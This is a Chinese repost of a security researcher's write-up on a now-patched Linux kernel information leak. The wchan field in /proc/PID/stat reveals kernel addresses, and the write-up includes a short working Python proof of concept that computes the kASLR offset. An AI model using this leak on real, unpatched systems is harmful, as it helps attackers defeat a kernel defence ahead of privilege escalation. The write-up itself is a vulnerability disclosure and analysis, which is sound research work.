转载

利用Linux内核的信息泄露绕过kALSR防护机制

一、初步说明

由于已经在linux内核中修复,所以没有什么顾虑谈论这个漏洞。

http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=b2f73922d119686323f14fbbe46587f863852328

据研究人员所知,主流发行版默认不开启kALSR防护机制。研究人员希望在不久的将来kALSR防护机制会成为Linux发行版和Android设备的主流,也会变得更加健壮,因为它使得内核的漏洞利用必须在信息泄露的基础上才能实现。与此同时,其他主流操作系统,如如Windows或OSX/iOS已经采用kALSR防护机制,为什么Linux总是慢人半拍?

总之,ASLR防护机制并不是安全的终极解决方案,正如本文接下来所讲述的,我们可以通过简单的信息泄露绕过kALSR防护机制。你可以阅读由spender撰写的 另一篇文章 来了解kALSR主题及其限制的一些思考。

研究人员曾多次看到@grsecurity在Twitter上提及类似漏洞,因此极有可能其他人在我之前已经熟悉这个漏洞。但是,Linux内核社区对安全的态度并不算出色,所以信息泄露压根不受关注。

二、正文

之前该研究人员在阅读Android系统的/proc文件系统时,wchan字段引起了他的注意。

WCHAN wait channel-某个特定进程正在等待事件(event)的地址。该简称好像会出现在带有-l选项的ps命令输出。你可以从用户空间读取“/proc/进程PID/stat”来获取进程wchan值。

所以wchan值会返回程序正在“等待”的代码地址。但是,这个描述是相当模糊的。如果进程处于内核地址空间中,它会为我们返回一个内核空间的地址吗?

答案是肯定的,正如下面看到的;

marco@marco-l:~/Documents$ cat /proc/2755/stat 2755 (sleep) S 2499 2755 2499 34817 2759 1077960704 124 0 0 0 0 0 0 0 20 0 1 0 82435 11673600 170 18446744073709551615 4194304 4218740 140722592633520 140722592633144 140073761328928 0 0 0 0 18446744071579755915 0 0 17 1 0 0 0 0 0 6319632 6320692 32489472 140722592637401 140722592637415 140722592637415 140722592641005 0 The value 18446744071579755915 it’s obviously a kernel code location since in hex is: >>> hex(18446744071579755915) '0xffffffff810de58bL' kASLR is not enabled by default on Ubuntu, at least 14.04, so we will have to add a “kaslr” to the kernel command line to enable it, you can find how to add stuff into the kernel command line on Google.

启动系统之后,我们运行一下PoC:

marco@marco-l:~/Documents$ python infoleak.py  Leaking kernel pointers... leak: 0xffffffffb70de58b 18446744072485725579 kASLR slide: 0x36000000

三、工作原理

这个PoC非常简单,可以说是相当粗糙,但运行速度快,使用python语言编写,因为只需要fork进程,然后读取内容。正如上面提到的,“ /proc/进程pid/stat” 的wchan会透露代码在内核空间的哪个地址“等待”事件,因此我们的思路是:

(1)寻找某种方式让“等待”的位置固定下来 (2)通过wchan泄露ALSR值 (3)比较泄露值与已知的非偏移值 (3)输出内核的偏移值
关于(1),我们可以fork一个进程,然后让其休眠。我们可以读取该进程的"/proc/休眠进程pid/stat",由于进程在内核地址空间处于休眠状态,其取值也是固定的。 关于(2),已经讨论如何实现,whcan是stat中已知位置的字段。 关于(3),我们可以通过在测试机上运行未开启kALSR防护机制的内核来获取非偏移值。

四、PoC

你需要编辑一下NON_SLID_VALUE,通过在关闭kALSR防护机制的目标内核上运行PoC获取非偏移值,例如修改成获取的十六进制数值: 0xffffffffb70de58b

import subprocess import time import sys import pprint PROC_PATH = "/proc/%d/stat" NON_SLID_VALUE = 0xffffffff810de58b def main():     sleepp = subprocess.Popen('sleep 100000'.split())     time.sleep(1)     child_pid = sleepp.pid     content = None     with open(PROC_PATH %(child_pid), 'r') as f:         content = f.read()          if not content:         print 'Unable to read stat from child'         sys.exit(0)     elements = content.split()     print 'Leaking kernel pointers...'     leak = int(elements[34])     print 'leak: 0x%x %d' %(leak, leak)     print 'kASLR slide: 0x%x' %(leak - NON_SLID_VALUE) if __name__ == '__main__':     main()

五、后记

如果存在什么错误、偏差、疑问及建议,可以随时与研究人员联系(留下原作者 Twitter ,请翻墙联系啊)。由于系统默认情况下未启用kALSR防护机制,所目前该缺陷的危害不是很大,研究人员也未投入太多时间及精力来验证所有情况和查看内核代码。

就随机性而言,kALSR的偏移似乎非常脆弱,研究人员尚未具体验证随机数是多少位的。但换个角度而言,在我们设备开启此防护机制总比没有好,起码这是迈向安全的开始。

要点:

Linux内核维护人员应该以更友好的态度面向安全社区。毕竟我们所有人都喜欢和使用Linux,也愿意让它变得更好。

*原文地址: marcograss.github.io ,FB资深作者Rabbit_Run整理报道,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)

原文  http://www.freebuf.com/vuls/94530.html
正文到此结束
Loading...